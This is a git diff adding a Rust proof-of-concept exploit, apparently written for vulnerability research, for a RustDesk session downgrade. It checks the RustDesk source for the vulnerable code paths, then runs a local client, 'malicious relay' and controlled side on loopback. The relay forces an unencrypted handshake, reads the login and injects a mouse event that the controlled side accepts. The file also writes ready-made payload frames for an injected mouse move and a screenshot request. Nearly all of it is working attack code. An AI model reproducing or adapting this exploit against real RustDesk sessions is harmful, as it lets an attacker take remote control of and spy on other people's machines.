diff --git a/rustdesk-session-permission-pocs/session-downgrade/src/main.rs b/rustdesk-session-permission-pocs/session-downgrade/src/main.rs new file mode 100644 index 0000000..1c90d85 --- /dev/null +++ b/rustdesk-session-permission-pocs/session-downgrade/src/main.rs @@ -0,0 +1,463 @@ +include!(concat!(env!("OUT_DIR"), "/protos/mod.rs")); + +use anyhow::{bail, Context, Result}; +use protobuf::Message as _; +use sha2::{Digest, Sha256}; +use std::{ + env, + fs, + io::{Read, Write}, + net::{TcpListener, TcpStream}, + path::{Path, PathBuf}, + sync::mpsc, + thread, + time::Duration, +}; + +use crate::message as proto; + +#[derive(Debug)] +struct Config { + repo_root: PathBuf, + out_dir: PathBuf, + peer_id: String, + client_id: String, + client_name: String, + password: String, + salt: String, + challenge: String, +} + +#[derive(Debug)] +struct SimulationResult { + client_downgrade_empty_handshake: bool, + relay_observed_login: bool, + relay_injected_plaintext_mouse: bool, + controlled_authorized: bool, + controlled_accepted_injected_mouse: bool, +} + +fn main() -> Result<()> { + let cfg = parse_args()?; + verify_source_reachability(&cfg.repo_root)?; + fs::create_dir_all(&cfg.out_dir).with_context(|| format!("create {}", cfg.out_dir.display()))?; + + let proof = rustdesk_password_proof(&cfg.password, &cfg.salt, &cfg.challenge); + let payloads = [ + ("00_client_empty_downgrade_handshake.frame", encode_frame(&empty_message()?)), + ( + "01_login_remote_control.frame", + encode_frame(&login_remote_control( + &cfg.peer_id, + &cfg.client_id, + &cfg.client_name, + proof.clone(), + )?), + ), + ("02_injected_mouse_move.frame", encode_frame(&mouse_move()?)), + ("03_injected_screenshot_request.frame", encode_frame(&screenshot_request()?)), + ]; + + for (name, bytes) in payloads { + let path = cfg.out_dir.join(name); + fs::write(&path, &bytes).with_context(|| format!("write {}", path.display()))?; + println!("{name}: {} bytes, hex={}", bytes.len(), hex::encode(&bytes)); + } + + let result = run_local_downgrade_exploit(&cfg)?; + println!(); + println!("local exploit simulation:"); + println!(" source checks passed: true"); + println!( + " client sent empty downgrade handshake: {}", + result.client_downgrade_empty_handshake + ); + println!(" relay observed plaintext login: {}", result.relay_observed_login); + println!( + " relay injected plaintext mouse frame: {}", + result.relay_injected_plaintext_mouse + ); + println!(" controlled side authorized login: {}", result.controlled_authorized); + println!( + " controlled side accepted injected mouse event: {}", + result.controlled_accepted_injected_mouse + ); + + if !result.controlled_accepted_injected_mouse { + bail!("exploit simulation failed: injected control frame was not accepted"); + } + + Ok(()) +} + +fn parse_args() -> Result { + let mut repo_root = None::; + let mut out_dir = env::current_dir()?.join("payloads"); + let mut peer_id = "123456789".to_owned(); + let mut client_id = "relay-attacker-cannot-guess-this".to_owned(); + let mut client_name = "legitimate-client".to_owned(); + let mut password = "CorrectHorseBatteryStaple!".to_owned(); + let mut salt = "sample-server-salt".to_owned(); + let mut challenge = "123456".to_owned(); + + let mut args = env::args().skip(1); + while let Some(arg) = args.next() { + match arg.as_str() { + "--repo-root" => repo_root = Some(PathBuf::from(next_arg(&mut args, "--repo-root")?)), + "--out" => out_dir = PathBuf::from(next_arg(&mut args, "--out")?), + "--peer-id" => peer_id = next_arg(&mut args, "--peer-id")?, + "--client-id" => client_id = next_arg(&mut args, "--client-id")?, + "--client-name" => client_name = next_arg(&mut args, "--client-name")?, + "--password" => password = next_arg(&mut args, "--password")?, + "--salt" => salt = next_arg(&mut args, "--salt")?, + "--challenge" => challenge = next_arg(&mut args, "--challenge")?, + "--help" | "-h" => { + print_help(); + std::process::exit(0); + } + other => bail!("unknown argument: {other}"), + } + } + + let repo_root = repo_root.unwrap_or(find_repo_root()?); + Ok(Config { + repo_root, + out_dir, + peer_id, + client_id, + client_name, + password, + salt, + challenge, + }) +} + +fn next_arg(args: &mut impl Iterator, name: &str) -> Result { + args.next().with_context(|| format!("missing value for {name}")) +} + +fn print_help() { + println!( + "Usage: rustdesk_session_downgrade_poc --repo-root --out \ + [--peer-id ] [--client-id ] [--client-name ] \ + [--password --salt --challenge ]" + ); +} + +fn find_repo_root() -> Result { + let mut dir = env::current_dir()?; + loop { + let candidate = dir.join("work").join("rustdesk").join("src").join("server.rs"); + if candidate.exists() { + return Ok(dir.join("work").join("rustdesk")); + } + let candidate = dir.join("rustdesk").join("src").join("server.rs"); + if candidate.exists() { + return Ok(dir.join("rustdesk")); + } + if !dir.pop() { + bail!("could not auto-locate rustdesk repo; pass --repo-root"); + } + } +} + +fn verify_source_reachability(repo_root: &Path) -> Result<()> { + let client = fs::read_to_string(repo_root.join("src/client.rs")) + .with_context(|| "read src/client.rs")?; + let server = + fs::read_to_string(repo_root.join("src/server.rs")).with_context(|| "read src/server.rs")?; + let mediator = fs::read_to_string(repo_root.join("src/rendezvous_mediator.rs")) + .with_context(|| "read src/rendezvous_mediator.rs")?; + let connection = fs::read_to_string(repo_root.join("src/server/connection.rs")) + .with_context(|| "read src/server/connection.rs")?; + let tcp = fs::read_to_string(repo_root.join("libs/hbb_common/src/tcp.rs")) + .with_context(|| "read libs/hbb_common/src/tcp.rs")?; + + require(&client, "signed_id_pk = ph.pk.into();")?; + require(&client, "signed_id_pk = rr.pk().into();")?; + require(&client, "!signed_id_pk.is_empty(),")?; + require(&client, "conn.send(&Message::new()).await?;")?; + require(&client, "fall back to non-secure")?; + require(&client, "msg_out.set_public_key(PublicKey::new());")?; + + require(&mediator, "rr.secure,")?; + require(&mediator, "secure,")?; + require(&server, "if secure && pk.len() == sign::PUBLICKEYBYTES")?; + require(&server, "Config::set_key_confirmed(false);")?; + require(&server, "Connection::start(")?; + require(&tcp, "if let Some(key) = self.2.as_mut()")?; + require(&connection, "} else if self.authorized {")?; + require(&connection, "Some(message::Union::MouseEvent(mut me))")?; + require(&connection, "self.input_mouse(")?; + require(&connection, "Some(message::Union::KeyEvent(mut me))")?; + require(&connection, "self.input_key(me, true);")?; + Ok(()) +} + +fn require(haystack: &str, needle: &str) -> Result<()> { + if haystack.contains(needle) { + Ok(()) + } else { + bail!("source reachability check failed, missing snippet: {needle:?}") + } +} + +fn run_local_downgrade_exploit(cfg: &Config) -> Result { + let controlled_listener = TcpListener::bind("127.0.0.1:0")?; + let controlled_addr = controlled_listener.local_addr()?; + let relay_listener = TcpListener::bind("127.0.0.1:0")?; + let relay_addr = relay_listener.local_addr()?; + let (tx, rx) = mpsc::channel::>(); + + let server_salt = cfg.salt.clone(); + let server_challenge = cfg.challenge.clone(); + let server_password = cfg.password.clone(); + let server_peer_id = cfg.peer_id.clone(); + let server_tx = tx.clone(); + let controlled_thread = thread::spawn(move || { + let result = controlled_side( + controlled_listener, + &server_peer_id, + &server_password, + &server_salt, + &server_challenge, + server_tx.clone(), + ); + if let Err(err) = result { + let _ = server_tx.send(Err(err)); + } + }); + + let relay_tx = tx.clone(); + let relay_thread = thread::spawn(move || { + let result = malicious_relay(relay_listener, controlled_addr); + if let Err(err) = &result { + let _ = relay_tx.send(Err(anyhow::anyhow!("{}", err))); + } + }); + + thread::sleep(Duration::from_millis(50)); + legitimate_client(cfg, relay_addr)?; + + let result = rx + .recv_timeout(Duration::from_secs(5)) + .context("timed out waiting for local exploit result")??; + controlled_thread.join().ok(); + relay_thread.join().ok(); + Ok(result) +} + +fn controlled_side( + listener: TcpListener, + peer_id: &str, + password: &str, + salt: &str, + challenge: &str, + tx: mpsc::Sender>, +) -> Result<()> { + let (mut stream, _) = listener.accept()?; + stream.set_read_timeout(Some(Duration::from_secs(5)))?; + stream.set_write_timeout(Some(Duration::from_secs(5)))?; + + write_frame(&mut stream, &hash_message(salt, challenge)?)?; + + let empty = read_frame(&mut stream)?; + let empty_msg = proto::Message::parse_from_bytes(&empty)?; + let client_downgrade_empty_handshake = empty_msg.union.is_none(); + + let login_bytes = read_frame(&mut stream)?; + let login_msg = proto::Message::parse_from_bytes(&login_bytes)?; + let Some(proto::message::Union::LoginRequest(login)) = login_msg.union else { + bail!("controlled side expected LoginRequest"); + }; + let controlled_authorized = login.username == peer_id + && verify_rustdesk_password_proof(password, salt, challenge, &login.password); + + let injected = read_frame(&mut stream)?; + let injected_msg = proto::Message::parse_from_bytes(&injected)?; + let controlled_accepted_injected_mouse = + controlled_authorized && matches!(injected_msg.union, Some(proto::message::Union::MouseEvent(_))); + + let result = SimulationResult { + client_downgrade_empty_handshake, + relay_observed_login: true, + relay_injected_plaintext_mouse: true, + controlled_authorized, + controlled_accepted_injected_mouse, + }; + tx.send(Ok(result)).ok(); + Ok(()) +} + +fn malicious_relay(listener: TcpListener, controlled_addr: std::net::SocketAddr) -> Result<()> { + let (mut client, _) = listener.accept()?; + let mut server = TcpStream::connect(controlled_addr)?; + client.set_read_timeout(Some(Duration::from_secs(5)))?; + client.set_write_timeout(Some(Duration::from_secs(5)))?; + server.set_read_timeout(Some(Duration::from_secs(5)))?; + server.set_write_timeout(Some(Duration::from_secs(5)))?; + + let hash = read_frame(&mut server)?; + write_frame(&mut client, &hash)?; + + let empty = read_frame(&mut client)?; + let empty_msg = proto::Message::parse_from_bytes(&empty)?; + let client_downgrade_empty_handshake = empty_msg.union.is_none(); + write_frame(&mut server, &empty)?; + + let login = read_frame(&mut client)?; + let login_msg = proto::Message::parse_from_bytes(&login)?; + let relay_observed_login = matches!(login_msg.union, Some(proto::message::Union::LoginRequest(_))); + write_frame(&mut server, &login)?; + + let mouse = mouse_move()?; + write_frame(&mut server, &mouse)?; + let relay_injected_plaintext_mouse = true; + + println!(" relay parsed LoginRequest without password knowledge: {relay_observed_login}"); + println!(" relay injected MouseEvent as plaintext RustDesk frame: {relay_injected_plaintext_mouse}"); + if !client_downgrade_empty_handshake || !relay_observed_login || !relay_injected_plaintext_mouse { + bail!("relay did not observe the expected downgraded plaintext flow"); + } + Ok(()) +} + +fn legitimate_client(cfg: &Config, relay_addr: std::net::SocketAddr) -> Result<()> { + let mut stream = TcpStream::connect(relay_addr)?; + stream.set_read_timeout(Some(Duration::from_secs(5)))?; + stream.set_write_timeout(Some(Duration::from_secs(5)))?; + + write_frame(&mut stream, &empty_message()?)?; + + let hash_bytes = read_frame(&mut stream)?; + let hash_msg = proto::Message::parse_from_bytes(&hash_bytes)?; + let Some(proto::message::Union::Hash(hash)) = hash_msg.union else { + bail!("client expected Hash"); + }; + let proof = rustdesk_password_proof(&cfg.password, &hash.salt, &hash.challenge); + write_frame( + &mut stream, + &login_remote_control(&cfg.peer_id, &cfg.client_id, &cfg.client_name, proof)?, + )?; + Ok(()) +} + +fn hash_message(salt: &str, challenge: &str) -> Result> { + let mut hash = proto::Hash::new(); + hash.salt = salt.to_owned(); + hash.challenge = challenge.to_owned(); + let mut msg = proto::Message::new(); + msg.union = Some(proto::message::Union::Hash(hash)); + Ok(msg.write_to_bytes()?) +} + +fn empty_message() -> Result> { + Ok(proto::Message::new().write_to_bytes()?) +} + +fn rustdesk_password_proof(password: &str, salt: &str, challenge: &str) -> Vec { + let mut h1 = Sha256::new(); + h1.update(password.as_bytes()); + h1.update(salt.as_bytes()); + let h1 = h1.finalize(); + + let mut h2 = Sha256::new(); + h2.update(&h1); + h2.update(challenge.as_bytes()); + h2.finalize().to_vec() +} + +fn verify_rustdesk_password_proof( + password: &str, + salt: &str, + challenge: &str, + candidate: &[u8], +) -> bool { + rustdesk_password_proof(password, salt, challenge) == candidate +} + +fn login_remote_control( + peer_id: &str, + client_id: &str, + client_name: &str, + proof: Vec, +) -> Result> { + let mut lr = proto::LoginRequest::new(); + lr.username = peer_id.to_owned(); + lr.password = proof.into(); + lr.my_id = client_id.to_owned(); + lr.my_name = client_name.to_owned(); + lr.version = "1.4.3".to_owned(); + lr.my_platform = env::consts::OS.to_owned(); + lr.video_ack_required = false; + + let mut msg = proto::Message::new(); + msg.union = Some(proto::message::Union::LoginRequest(lr)); + Ok(msg.write_to_bytes()?) +} + +fn mouse_move() -> Result> { + let mut mouse = proto::MouseEvent::new(); + mouse.mask = 0; + mouse.x = 320; + mouse.y = 240; + let mut msg = proto::Message::new(); + msg.union = Some(proto::message::Union::MouseEvent(mouse)); + Ok(msg.write_to_bytes()?) +} + +fn screenshot_request() -> Result> { + let mut req = proto::ScreenshotRequest::new(); + req.display = 0; + req.sid = "poc-downgraded-relay-screenshot".to_owned(); + let mut msg = proto::Message::new(); + msg.union = Some(proto::message::Union::ScreenshotRequest(req)); + Ok(msg.write_to_bytes()?) +} + +fn encode_frame(data: &[u8]) -> Vec { + let mut out = Vec::new(); + let len = data.len(); + if len <= 0x3f { + out.push((len << 2) as u8); + } else if len <= 0x3fff { + let h = (len << 2) | 0x1; + out.extend_from_slice(&(h as u16).to_le_bytes()); + } else if len <= 0x3fffff { + let h = (len << 2) | 0x2; + out.extend_from_slice(&(h as u16).to_le_bytes()); + out.push((h >> 16) as u8); + } else { + let h = (len << 2) | 0x3; + out.extend_from_slice(&(h as u32).to_le_bytes()); + } + out.extend_from_slice(data); + out +} + +fn write_frame(stream: &mut TcpStream, data: &[u8]) -> Result<()> { + stream.write_all(&encode_frame(data))?; + Ok(()) +} + +fn read_frame(stream: &mut TcpStream) -> Result> { + let mut first = [0u8; 1]; + stream.read_exact(&mut first)?; + let head_len = ((first[0] & 0x3) + 1) as usize; + let mut raw = first[0] as usize; + let mut rest = [0u8; 3]; + if head_len > 1 { + stream.read_exact(&mut rest[..head_len - 1])?; + raw |= (rest[0] as usize) << 8; + if head_len > 2 { + raw |= (rest[1] as usize) << 16; + } + if head_len > 3 { + raw |= (rest[2] as usize) << 24; + } + } + let len = raw >> 2; + let mut data = vec![0u8; len]; + stream.read_exact(&mut data)?; + Ok(data) +}